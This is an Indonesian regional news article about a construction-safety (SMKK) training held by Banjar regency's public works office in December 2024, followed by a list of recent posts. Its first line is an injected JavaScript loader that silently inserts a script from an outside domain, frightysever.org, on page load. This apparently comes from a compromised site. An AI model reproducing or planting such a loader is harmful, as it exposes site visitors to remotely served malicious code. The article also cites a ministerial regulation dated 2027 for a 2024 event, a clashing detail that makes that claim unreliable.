(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dinas PUPRP Kab Banjar

Tingkatkan Keselamatan Kerja pada Pekerjaan Konstruksi, DPURP Banjar Gelar Bimtek Penerapan SMKK


KANALKALIMANTAN.COM, MARTAPURA – Dinas Pekerjaan Umum Penataan Ruang dan Pertanahan (PUPRP) Kabupaten Banjar melaksanakan Bimbingan Teknis (Bimtek) Penerapan Sistem Manajemen Keselamatan Konstruksi (SMKK) pada Pekerjaan Konstruksi, Selasa (3/12/2024).

Kegiatan itu digelar melalui Bidang Bina Jasa Konstruksi pada Dinas PUPRP Kabupaten Banjar.

Seksi Pengawasan selaku pelaksana merasa perlu melaksanakan Bimtek ini untuk meningkatkan kesadaran dan kepedulian keselamatan kerja pada pekerjaan konstruksi.

Disamping itu, Bimtek ini juga bertujuan untuk mencetak SDM bidang Konstruksi yang kompeten dan profesional yang nantinya diharapkan dapat menciptakan lingkungan kerja yang aman, efisien dan produktif, dan dapat mengurangi risiko kecelakaan dan penyakit akibat kerja.

Bimtek ini diikuti oleh pelaksana Pekerjaan Konstruksi baik dari kontraktor, konsultan dan pengguna jasa yang berasal dari SKPD ke-PU-an maupun SKPD non ke-PU-an.

Kegiatan yang menghadirkan narasumber ketua Perkumpulan Ahli Keselamatan Konstruksi Indonesia (PAKKI) Kalsel, Ir Syaiful Mutaher ST, MT itu dibuka oleh Sekretaris Dinas PUPRP bapak H Gusti Abubakar ST, MT didampingi Kepala Bidang Bina Jasa Konstruksi RR Dian Parwatisari, SH, MSi.

Dalam sambutannya H Gusti Abubakar menyampaikan amanat Peraturan Menteri Pekerjaan Umum dan Perumahan Rakyat Nomor 10 Tahun 2027 tentang Sistem Manajemen Keselamatan Konstruksi (SMKK), yang berbunyi Setiap Pengguna Jasa dan Penyedia Jasa dalam penyelenggaraan Jasa Konstruksi harus menerapkan SMKK.

“SMKK harus memenuhi Standar Keamanan, Keselamatan, Kesehatan, dan Keberlanjutan.

Penerapan SMKK merupakan bagian dari sistem manajemen pelaksanaan pekerjaan konstruksi yang dilaksanakan berdasar tugas, tanggung jawab, dan wewenang dari Pengguna Jasa dan Penyedia Jasa itu sendiri,” jelas dia.

Dia juga berpesan kepada peserta agar dapat menggunakan kesempatan ini sebaik-baiknya untuk menambah pengetahuan dan wawasan mengenai SMKK dan dapat menerapkannya pada proyek konstruksi di lingkup SKPD masing-masing. (kanalkalimantan.com/dinaspuprpbanjar/kk)

Reporter: kk
Editor: Dhani


Muhammad Andi

Recent Posts

Randi Juara Turnamen Billiard Bupati Kapuas Cup 2025

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno didampingi Sekretaris Daerah (Sekda) Kapuas Septedy… Read More

2 jam ago

Peringati Hari Otda, Ini Kata Bupati HSU H Sahrujani

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) menggelar upacara peringatan Hari Otonomi… Read More

2 jam ago

Tingkatkan Kompetensi 183 Kades se Kapuas Digembleng di Pusdiklat Kemenhan

KANALKALIMANTAN.COM, KUALA KAPUAS - Sebanyak 183 Kepala Desa dan Penjabat Kepala Desa (Kades) se Kabupaten… Read More

2 jam ago

Festival Budaya Tingang Menteng Panunjung Tarung 2025 Ditutup

KANALKALIMANTAN.COM, KUALA KAPUAS - Festival Budaya Tingang Menteng Panunjung Tarung 2025 sukses digelar dalam rangka… Read More

3 jam ago

Ribuan Peserta Ramaikan Festival Budaya Tinggang Menteng Panunjung Tarung

KANALKALIMANTAN. COM, KUALA KAPUAS - Ribuan orang memeriahkan Festival Budaya Tinggang Menteng Panunjung Tarung dalam… Read More

18 jam ago

Angkat Menu Hulu Sungai, Cafe and Eatery “Warung Pagat” Sajikan Mandai, Tarap hingga Pakasam

KANALKALIMANTAN.COM, BANJARBARU - Bisnis F&B atau Food and Beverage kian berkembang di Ibu Kota Provinsi… Read More

22 jam ago